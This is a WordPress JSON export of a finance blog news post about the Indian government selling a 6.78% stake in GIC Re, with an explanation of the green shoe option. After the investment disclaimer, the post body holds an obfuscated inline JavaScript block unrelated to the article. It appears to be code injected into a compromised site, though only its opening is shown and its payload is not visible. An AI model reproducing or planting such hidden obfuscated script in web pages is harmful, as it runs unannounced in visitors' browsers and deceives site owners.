{"id":8720,"date":"2024-09-05T11:12:48","date_gmt":"2024-09-05T11:12:48","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8720"},"modified":"2026-05-25T23:22:47","modified_gmt":"2026-05-26T05:52:47","slug":"stake-in-gic-re","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/","title":{"rendered":"Government to Sell 6.78% Stake in GIC Re, Aiming for \u20b94,700 Crore"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/#GIC_Re_Stake_Sale_Details\" >GIC Re Stake Sale Details<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/#What_is_the_green_shoe_option\" >What is the green shoe option?<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/#Why_Finance_Ministry_selling_Stakes_in_GIC_Re\" >Why Finance Ministry selling Stakes in GIC Re?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/#Wrapping_up\" >Wrapping up<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>Government to Sell 6.78% Stake in GIC Re, Aiming for \u20b94,700 Crore<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>General Insurance Corporation of India<\/strong> (GIC) Re is going to have 6.78% of its equity shares diluted, as the Union Ministry of Finance will sell off the stakes for \u20b9 4700 crores. On Wednesday, 4 September 2024, the stake sale began with the non-retail investors, while <strong><a href=\"https:\/\/shoonya.com\/blog\/retail-investors-details-limits-and-guidelines\/\" type=\"link\" id=\"https:\/\/shoonya.com\/blog\/retail-investors-details-limits-and-guidelines\/\" target=\"_blank\" rel=\"noreferrer noopener\">retail investors<\/a><\/strong> and <strong>GIC Re<\/strong> employees can take part in the share sale from today.\u00a0<\/p>\n\n\n\n<h2 id=\"h-gic-re-stake-sale-details\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"GIC_Re_Stake_Sale_Details\"><\/span><strong>GIC Re Stake Sale Details<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In this GIC re-stake sell-off, the government will divest 3.39% of its stake in the reinsurance company while the remaining 3.39% will be available as a green shoe option. The whole stake sale is an offer for sale (OFS) in which the floor price is expected to be around \u20b9 395 per share which is at a discount of around 6% from the current market price of GIC Re. As the <strong>GIC news<\/strong> came in, the share on Tuesday afternoon closed at Rs\/ 420.8 per share declining by 1.4% in that very session. The current market price of <strong>GIC Re<\/strong> <strong>share price<\/strong> is around \u20b9 397.50 per share, in the last five days, the share declined 3.21%.&nbsp;<\/p>\n\n\n\n<h3 id=\"h-what-is-the-green-shoe-option\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_the_green_shoe_option\"><\/span><strong>What is the green shoe option?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">If you are wondering, what is a green shoe option then it can be referred to as a provision within an IPO agreement where the issuing company grants permission to the underwriter to sell more shares compared to the number of shares planned to be issued. This provision is utilized when and if there is high demand for the IPO and it is also known as an over-allotment option.&nbsp;<\/p>\n\n\n\n<h2 id=\"h-why-finance-ministry-selling-stakes-in-gic-re\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Why_Finance_Ministry_selling_Stakes_in_GIC_Re\"><\/span><strong>Why Finance Ministry selling Stakes in GIC Re?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Before the beginning of this stake sale, the government held around 85.78% stakes in <strong>General Insurance Corporation.<\/strong> The objective behind this stake sale is disinvestment by the government as GIC is not looking to raise capital and they have a strong solvency position as indicated by Ramaswamy Narayanan, Chairman and MD at GIC Re.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the other hand, GIC Re\u2019s objective is to increase its public shareholder, which was at 14% before this stake sale, and the same needs to be at least 25%.&nbsp;<\/p>\n\n\n\n<h3 id=\"h-wrapping-up\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Wrapping_up\"><\/span><strong>Wrapping up<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Investors looking to buy stakes in GIC Re during this <strong>initial public offering <\/strong>(OFS method) should also consider the fundamentals of the company and the industry outlook to make a wise decision.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <a href=\"https:\/\/www.business-standard.com\/amp\/economy\/news\/finance-ministry-to-sell-6-78-stake-of-gic-re-to-garner-rs-4-700-crore-124090301158_1.html?isa=yes\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">BusinessStandard<\/mark><\/a><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark>:<\/strong> Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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On Wednesday, 4 September 2024, the stake sale began with the non-retail investors, while retail investors and GIC Re employees can take part &hellip; <a href=\"https:\/\/shoonya.com\/blog\/stake-in-gic-re\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Government to Sell 6.78% Stake in GIC Re, Aiming for \u20b94,700 Crore&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8721,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[5048,5047,5050,5046,5049,5052,5051,415,1177,5045],"class_list":["post-8720","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-general-insurance-corporation","tag-general-insurance-corporation-of-india","tag-general-insurance-corporation-of-india-share-price","tag-gic-re","tag-gic-re-insurance","tag-gic-re-news","tag-gic-re-share-price","tag-initial-public-offering","tag-retail-investors","tag-stake-in-gic-re"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>GIC Re Stake Sale: Govt to Raise \u20b94,700 Crore \u2013 Key Details Inside<\/title>\n<meta name=\"description\" content=\"Government reducing its stake in GIC Re by 6.78% to raise \u20b9 4700 crores in an OFS deal. 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